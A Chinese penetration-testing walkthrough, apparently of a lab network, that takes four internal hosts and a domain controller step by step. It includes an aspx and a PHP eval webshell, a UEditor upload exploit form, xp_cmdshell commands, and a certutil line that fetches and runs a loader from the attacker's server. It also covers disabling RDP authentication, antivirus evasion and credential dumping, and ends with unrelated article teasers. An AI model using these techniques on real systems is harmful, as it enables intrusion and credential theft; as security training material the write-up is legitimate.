攻防实战-手把手带你打穿内网

六朝何事，只成门户私计！

目录

在这里插入图片描述

在这里插入图片描述

环境配置

网络配置

本次实战绘制出来的网络拓扑图如下：

在这里插入图片描述

第一层：12server-web1

信息搜集

网站url：

image-20240112131302482

目录扫描

image-20240112131331662

扫到后台地址：

image-20240112131356344

发现有注册功能， 先注册一下尝试能不能登录

在这里插入图片描述

注册后成功登录

image-20240112131441799

搜集到的信息

cms:HDHCMS

服务器名称：12SERVER-WEB1

操作系统：MicrosoftWindows NT 6.3.9600.0

中间件：IIIS8.5

脚本语言：aspx

物理路径：C:\Hws.com\HwsHostMaster\wwwroot\www.xxx.com\web\admin\Hdhadmin.aspx

数据库：MSSQL

上传目录：upfiles/

富文本编辑器：百度Ueditor1.4.3

边界突破

在后台发现的富文本编辑器：百度Ueditor1.4.3 ，这个版本爆出过任意文件上传漏洞 ， 可以直接拿shell， 进行漏洞验证

访问网上公开的POC，发现报错

image-20240112131614496

很多情况下网站的二次开发会更改默认路径，已经知道了是HDHCMS，去查找其公开的源码，通过源代码的审计 ，得到编辑器路径

image-20240112131630974

之后进行漏洞利用 ，构造一个aspx的图片马

aspx一句话木马：

在这里插入图片描述

然后图片马上传到公网服务器上

image-20240112131656336

本地构造一个上传的form表单

<form action="http://www.xxx.com/admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

上传图片马，上传地址修改为：http://192.168.8.198/2.jpg?.aspx

在这里插入图片描述

成功上传该文件

image-20240112131733295

访问木马地址

image-20240112131850790

蚁剑连接

image-20240112131911564

whoami查看权限发现是普通用户权限

ipconfig进行信息收集，发现存在内网网段

image-20240112131941673

查看进程：tasklist

在这里插入图片描述

进行识别发现存在360全家桶和护卫神

在这里插入图片描述

哥斯拉提权

哥斯拉生成1.aspx的木马

在这里插入图片描述

生成的木马内容：

<%@ Page Language=“Jscript”%><%eval(Request.Item[“pass”],“unsafe”);%>

在这里插入图片描述

成功连接

image-20240112132055662

命令行执行whoami是普通用户权限

image-20240112132113211

进入SweetPotato模块，点击load，点击run，成功提权到system权限

image-20240112132150834

cs拿shell

打开CS，这是个服务器与客户端多对多架构的工具，先开服务端

在Listeners面板中点击Add按钮，新建一个监听器，如图

在这里插入图片描述

生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload Generator命令，如图

在这里插入图片描述

保持默认配置，选择已经创建的监听器，设置输出类型为c，注意勾选x64，然后点击Generate按钮， 如图

在这里插入图片描述

加壳免杀

使用 cobaltstrike分离免杀工具生成loader.exe文件

image-20240112132334859

过360火绒静态查杀

在这里插入图片描述

通过蚁剑上传到C:/Hws.com/HwsHostMaster/wwwroot/www.xxx.com/web/upfiles/image/xxx/目录下

image-20240112132425831

哥斯拉进行提权成功以system权限上线到cs

image-20240112132528833

获取凭据

logonpasswords 获取凭据

image-20240112132546626

查看凭据

image-20240112132616935

破解凭据，得到管理员的账号密码：

image-20240112132633700

远程登陆

查看防火墙（需要administrator权限）

shell netsh firewall show state

可以看到防火墙是关闭的

在这里插入图片描述

shell netstat -ano 可以看到没有开放3389端口

在这里插入图片描述

打开3389端口

在这里插入图片描述

shell netstat -ano 再次查看可以看到3389端口已开放

在这里插入图片描述

使用上面得到的管理员的账号密码进行登录

在这里插入图片描述

页面显示报错密码过期

在这里插入图片描述

通过搜寻资料，了解到密码过期并不是真的过期，可能是开启了仅允许运行使用网络级别身份验证的远程桌面的计算机连接

关闭仅允许运行使用网络级别身份验证的远程桌面的计算机连接

shell REG ADD “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v UserAuthentication /t REG_DWORD /d “0” /f

在这里插入图片描述

成功登录

在这里插入图片描述

第二层：12server-data1

信息搜集

查看内网第二层网段存活的机器

arp -a 可以看到内网第二层网络还有一台192.168.59.129机器存活

在这里插入图片描述

线索发现

通过蚁剑和哥斯拉拿到的shell，查看数据库的配置文件

绝对路径

C:/Hws.com/HwsHostMaster/wwwroot/www.xxx.com/web/HdhApp.config

从源代码中发现是站库分离的，数据库服务器刚好是上面内网第二层网络的192.168.59.129机器

在这里插入图片描述

并且判断是1433端口MSSQL数据库的sa权限

 <add key="HdhCmsConnStr" value="user id=sa;password=pass123@.com;initial catalog=DemoHdhCms;data source= 192.168.59.129"/>

开代理连数据库

在这里插入图片描述

cs服务器的地址和端口

在这里插入图片描述

连接数据库

在这里插入图片描述

成功连接

在这里插入图片描述

开启xp_cmdshell

新建查询，启用xp_cmdshell

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;EXEC sp_configure 'show advanced options',1;

如下

在这里插入图片描述

尝试调用xp_cmdshell运行系统命令

EXEC master…xp_cmdshell ‘ipconfig’;

在这里插入图片描述

恢复／删除xp_cmdshell

exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' 
exec sp_dropextendedproc 'xplog70.dll'

关闭xp_cmdshell

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;

上线cs

查看一下有无杀软tasklist ， 发现存在火绒

在这里插入图片描述

做一下火绒的免杀 ， 尝试上线， 使用windows的certutil命令远程下载文件

EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.8.198/loader.exe C:\Windows\Temp\schost.exe'; 
EXEC master..xp_cmdshell 'C:\Windows\Temp\schost.exe';

漏洞利用：

在这里插入图片描述

成功上线cs

在这里插入图片描述

如果目标机器出网，可以把木马放到自己的公网服务器上，如果目标机器不出网，只需把木马放到12server-web1上，供其下载

权限提升

使用MS16-075Sweet Potato进行提权

在这里插入图片描述

漏洞利用

在这里插入图片描述

成功提权

在这里插入图片描述

获取凭据

logonpasswords 获取凭据

image-20240112132935793

查看凭据

image-20240112132953736

破解凭据，得到管理员的账号密码：

远程登陆

查看防火墙（需要administrator权限）

shell netsh firewall show state

可以看到防火墙是关闭的

在这里插入图片描述

shell netstat -ano 可以看到没有开放3389端口

在这里插入图片描述

打开3389端口

在这里插入图片描述

shell netstat -ano 再次查看可以看到3389端口已开放

在这里插入图片描述

挂上12server-web1的代理，使用上面得到的管理员的账号密码进行登录

在这里插入图片描述

成功登录

在这里插入图片描述

第三层：12server-web2

信息搜集

查看内网第三层网段存活的机器

arp -a 可以看到内网第二层网络还有一台192.168.22.130机器存活

在这里插入图片描述

开代理访问12server-web2

通过12server-data1开代理访问12server-web2

在这里插入图片描述

cs服务器的地址和端口

在这里插入图片描述

信息搜集

代理端口扫描

在这里插入图片描述

目录扫描

在这里插入图片描述

访问

http://192.168.22.130/a.php

目录扫描发现报错页面得知为phpstudy_pro

image-20240112142104583

访问80端口的web服务

http://192.168.22.130/

在这里插入图片描述

JWT爆破

登录请求中 ， 在token中发现jwt认证

image-20240112133651450

jwt的特征就是前两段是base64编码（去掉==），最后一段是秘钥，然后点号拼接

爆破工具 jwt_tool（github直接下载）工具

git clone https://github.com/ticarpi/jwt_tool.git

爆破的命令

python3 jwt_tool.py xxx -C -d xxx.txt

成功爆破出秘钥：xxx is the CORRECT key!

image-20240112133248094

JWT加解密

image-20240112133333041

admin用户签名后的jwt

首先对浏览器代理进行配置

在这里插入图片描述

其次对burp进行配置

和浏览器代理同一配置

在这里插入图片描述

和代理同一配置

在这里插入图片描述

抓取数据包修改X-token

image-20240112133400169

以admin身份登陆进去，之后发现后台什么都没有

在这里插入图片描述

phpmyadmin写日志拿shell

根据上面目录扫描的结果得出是phpstudypro，本地搭建测试安装phpmyadmin，找到默认路径phpmyadmin4.8.5

http://192.168.22.130/phpmyadmin4.8.5

root和jwt跑出的key：xxx 登陆

在这里插入图片描述

利用phpmyadmin日志

show variables  like  '%general%';
SET GLOBAL general_log='on'; SHOW VARIABLES LIKE '%general%';
SET GLOBAL general_log_file='C:/phpStudy_pro/www/shell.php';
SELECT '<?php eval($_POST["cmd"]);?>'

写入一句话

在这里插入图片描述

蚁剑连接

地址：http://192.168.22.130/shell.php

密码：cmd

在这里插入图片描述

ipconfig内网还有其他网段

在这里插入图片描述

whoami直接是administrator权限

在这里插入图片描述

上线cs

12server-data1设置中转监听

在这里插入图片描述

选择内网可以访问到的目标

在这里插入图片描述

生成木马，通过蚁剑上传到12server-web2，执行木马

在这里插入图片描述

JuicyPotato (ms16-075)

在这里插入图片描述

提权

在这里插入图片描述

获取凭据

logonpasswords 获取凭据

image-20240112133554440

查看凭据

image-20240112133609020

破解凭据，得到本地管理员的账号密码：

远程连接

挂代理远程连接

在这里插入图片描述

成功连接

在这里插入图片描述

第四层：12server-data2

信息搜集

net view查看目标

在这里插入图片描述

发现内网还有一台12server-data2和一台16server-dc1

查看域管

image-20240112133813782

查看域控详细信息

image-20240112133856727

查看域用户

image-20240112133916941

获取域控NTML

image-20240112133938161

psexec进行横向

有域控的明文密码并且域控是开放445端口的，所以可以尝试psexec进行横向。

使用cs自带插件

首先设置smb监听

在这里插入图片描述

从目标出发

在这里插入图片描述

image-20240112134021357

上线cs

在这里插入图片描述

第四层：12server-dc1

psexec进行横向

image-20240112134021357

上线cs

在这里插入图片描述

最终达到的效果如下

在这里插入图片描述

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

转载声明：儒道易行 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区：
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/617289.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

预约上门按摩系统目前面临的挑战有哪些

预约上门按摩系统目前面临的挑战有哪些

按摩预约上门服务系统上线之后在运营的过程中主要面临的挑战主要有以下几个方面&#xff1a; 1.技师管理和培训&#xff1a;为了保证服务的质量&#xff0c;需要对技师进行管理和培训。这包括确保技师具备必要的技能和资格&#xff0c;以及提供必要的培训&#xff0c;以确保他们…
阅读更多...
[金融支付]EMV是什么？

[金融支付]EMV是什么？

文章目录 EMVCoEMVCo是谁&#xff1f;EMVCo是做什么的&#xff1f;EMVCo是如何运作的&#xff1f;EMVCo 是否强制要求 EMV 规范&#xff1f; EMVEMV的历史背景EMV技术的一些关键点 EMV TechnologiesEMV 认证EMV的三层认证 EMV规范在全球各地存在差异参考 EMVCo EMVCo是谁&…
阅读更多...
系列二、Spring Security中的核心类

系列二、Spring Security中的核心类

一、Spring Security中的核心类 1.1、自动配置类 UserDetailsServiceAutoConfiguration 1.2、密码加密器 1.2.1、概述 Spring Security 提供了多种密码加密方案&#xff0c;官方推荐使用 BCryptPasswordEncoder&#xff0c;BCryptPasswordEncoder 使用 BCrypt 强哈希函数&a…
阅读更多...
《BackTrader量化交易图解》第10章：Trade 交易操作

《BackTrader量化交易图解》第10章：Trade 交易操作

文章目录 10 Trade 交易操作10.1 量化回测分析流程10.2 Cerebro 类模块10.3 案例&#xff1a;Trade 交易10.4 实盘交易机器隐性规则10.5 Stake 交易数额和 Trade 交易执行价格 10 Trade 交易操作 10.1 量化回测分析流程 从本章开始讲解 BackTrader 的实盘操作。前面的章节讲过…
阅读更多...
如何监控电脑屏幕-对电脑屏幕进行监控有什么方法？如何实现电脑屏幕监控？

如何监控电脑屏幕-对电脑屏幕进行监控有什么方法？如何实现电脑屏幕监控？

随着电脑的普及&#xff0c;越来越多的人开始需要监控电脑屏幕&#xff0c;无论是出于工作需要还是家庭安全考虑。 然而&#xff0c;如何实现电脑屏幕监控却是一个需要探讨的问题。 一、监控电脑屏幕的方法 使用电脑监控软件&#xff0c;这是一种很常用的监控方式&#xff0c…
阅读更多...
vivado编译设置、执行设置、bit流生成设置

vivado编译设置、执行设置、bit流生成设置

合成设置 使用“合成设置”可以指定约束集、合成策略、合成选项&#xff0c;以及要生成的报告。选项由选定的定义综合策略或综合报告策略&#xff0c;但您可以用自己的策略覆盖这些策略设置。您可以选择一个选项来查看对话框底部的描述。了解更多有关“合成设置”的信息&#…
阅读更多...
BSP视频教程第29期：J1939协议栈CAN总线专题，源码框架，执行流程和应用实战解析，面向车通讯，充电桩，模组通信等(2024-01-08)

BSP视频教程第29期：J1939协议栈CAN总线专题，源码框架，执行流程和应用实战解析，面向车通讯，充电桩，模组通信等(2024-01-08)

视频教程汇总帖&#xff1a;【学以致用&#xff0c;授人以渔】2024视频教程汇总&#xff0c;DSP第12期&#xff0c;ThreadX第9期&#xff0c;BSP驱动第29期&#xff0c;USB实战第5期&#xff0c;GUI实战第3期&#xff08;2024-01-08&#xff09; - STM32F429 - 硬汉嵌入式论坛 …
阅读更多...
VBA_MF系列技术资料1-310

VBA_MF系列技术资料1-310

MF系列VBA技术资料 为了让广大学员在VBA编程中有切实可行的思路及有效的提高自己的编程技巧&#xff0c;我参考大量的资料&#xff0c;并结合自己的经验总结了这份MF系列VBA技术综合资料&#xff0c;而且开放源码&#xff08;MF04除外&#xff09;&#xff0c;其中MF01-04属于…
阅读更多...
用通俗易懂的方式讲解：一文讲透最热的大模型开发框架 LangChain

用通俗易懂的方式讲解：一文讲透最热的大模型开发框架 LangChain

在人工智能领域的不断发展中&#xff0c;语言模型扮演着重要的角色。特别是大型语言模型&#xff08;LLM&#xff09;&#xff0c;如 ChatGPT&#xff0c;已经成为科技领域的热门话题&#xff0c;并受到广泛认可。 在这个背景下&#xff0c;LangChain 作为一个以 LLM 模型为核…
阅读更多...
printk的使用与理解

printk的使用与理解

文章目录 一、理清printk二、printk的使用三、printk的打印级别1、基本解释2、详细解释3、如何修改console_loglevel、default_message_loglevel、minimum_console_loglevel、default_console_loglevel的值 四、printk的输出地方五、其它 一、理清printk printk如何使用&#…
阅读更多...
RabbitMQ安装和快速入门

RabbitMQ安装和快速入门

文章目录 1. RabbitMQ2. 安装RabbitMQ2.1 创建shell文件2.2 编写shell文件2.3 检查rabbitmq状态2.4 设置开机自启动2.5 启动插件2.6 开放端口号2.7 创建用户2.8 登入管理页面 3. SpringBoot中集成RabbitMQ3.1 依赖安装3.2 SpringBoot配置3.3 RabbitMQ的配置类3.4 定义消费者和生…
阅读更多...
jmeter--2.常用组件以及作用域

jmeter--2.常用组件以及作用域

目录 1.常用的组件以及执行顺序 2.常用的组件作用 2.1 测试计划&#xff1a;jmeter启动&#xff0c;其它组件的容器 2.2 线程组&#xff08;测试片段&#xff09;&#xff1a;代表一定虚拟用户数&#xff0c;测试片段代表模块 2.3 配置元件&#xff1a;配置信息 2.4 前置处…
阅读更多...
设计一个简易版的数据库路由

设计一个简易版的数据库路由

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱吃芝士的土豆倪&#xff0c;24届校招生Java选手&#xff0c;很高兴认识大家&#x1f4d5;系列专栏&#xff1a;Spring原理、JUC原理、Kafka原理、分布式技术原理、数据库技术&#x1f525;如果感觉博主的文章还不错的…
阅读更多...
DETR tensorRT 的 C++ 部署

DETR tensorRT 的 C++ 部署

DETR tensorRT 的 C 部署 本篇说说DETR tensorRT 的 C 部署。 【完整代码、模型、测试图片】 1 导出 onnx 模型&#xff08;建议先看&#xff09; 方法1&#xff1a;导出DETR onnx并修改模型输出Gather层&#xff0c;解决tesorrt 推理输出结果全为0问题&#xff0c;参考【D…
阅读更多...
数据类型、数据类型转换（Java）

数据类型、数据类型转换（Java）

一、数据类型的分类 1. byte&#xff1a;1字节&#xff0c;-128~127 2. short&#xff1a;2字节&#xff0c;-32768~32767 3. int&#xff1a;4字节 默认整型 4. long&#xff1a;8字节 注意&#xff1a;随便写一个整型字面量会默认是整型的&#xff0c;所以我们在写一个…
阅读更多...
加速 Android Studio 依赖项下载

加速 Android Studio 依赖项下载

在某些网络环境中&#xff0c;访问互联网可能受到限制&#xff0c;在Android Studio中&#xff0c;项目构建时可能需要下载依赖项&#xff0c;如果网络受到限制&#xff0c;就无法下载或下载速度非常慢只有十几 kb/s &#xff0c;设置可以帮助解决下载问题。 进入设置页面找到…
阅读更多...
RK3568驱动指南｜第十一篇 pinctrl 子系统-第126章 通过pinctrl状态设置引脚复用实验

RK3568驱动指南｜第十一篇 pinctrl 子系统-第126章 通过pinctrl状态设置引脚复用实验

瑞芯微RK3568芯片是一款定位中高端的通用型SOC&#xff0c;采用22nm制程工艺&#xff0c;搭载一颗四核Cortex-A55处理器和Mali G52 2EE 图形处理器。RK3568 支持4K 解码和 1080P 编码&#xff0c;支持SATA/PCIE/USB3.0 外围接口。RK3568内置独立NPU&#xff0c;可用于轻量级人工…
阅读更多...
电影《艾里甫与赛乃姆》简介

电影《艾里甫与赛乃姆》简介

电影《艾里甫与赛乃姆》由天山电影制片厂于1981年摄制&#xff0c;该片由傅杰执导&#xff0c;由买买提祖农司马依、布维古丽、阿布里米提沙迪克、努力曼阿不力孜、买买提依不拉音江、阿不都热合曼艾力等主演。 该片改编自维吾尔族民间爱情叙事长诗《艾里甫与赛乃姆》&#xf…
阅读更多...
如何正确使用高速探头前端--probe head

如何正确使用高速探头前端--probe head

目前市面上的高速有源探头种类丰富&#xff0c;使用灵活&#xff0c;如下图所示&#xff0c;结构多为放大器焊接前端的组合&#xff0c;以E2677B探头前端为例&#xff0c;其焊接前端电阻有三种选择&#xff0c;91ohm时可实现全带宽使用&#xff08;12GHz&#xff09;&#xff0…
阅读更多...
互联网 HR 眼中的好简历是什么样子的？

互联网 HR 眼中的好简历是什么样子的？

HR浏览一份简历也就25秒左右&#xff0c;如果你连「好简历」都没有&#xff0c;怎么能找到好工作呢&#xff1f; 如果你不懂得如何在简历上展示自己&#xff0c;或者觉得怎么改简历都不出彩&#xff0c;那请你一定仔细读完。 互联网运营个人简历范文> 男 22 本科 AI简历…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023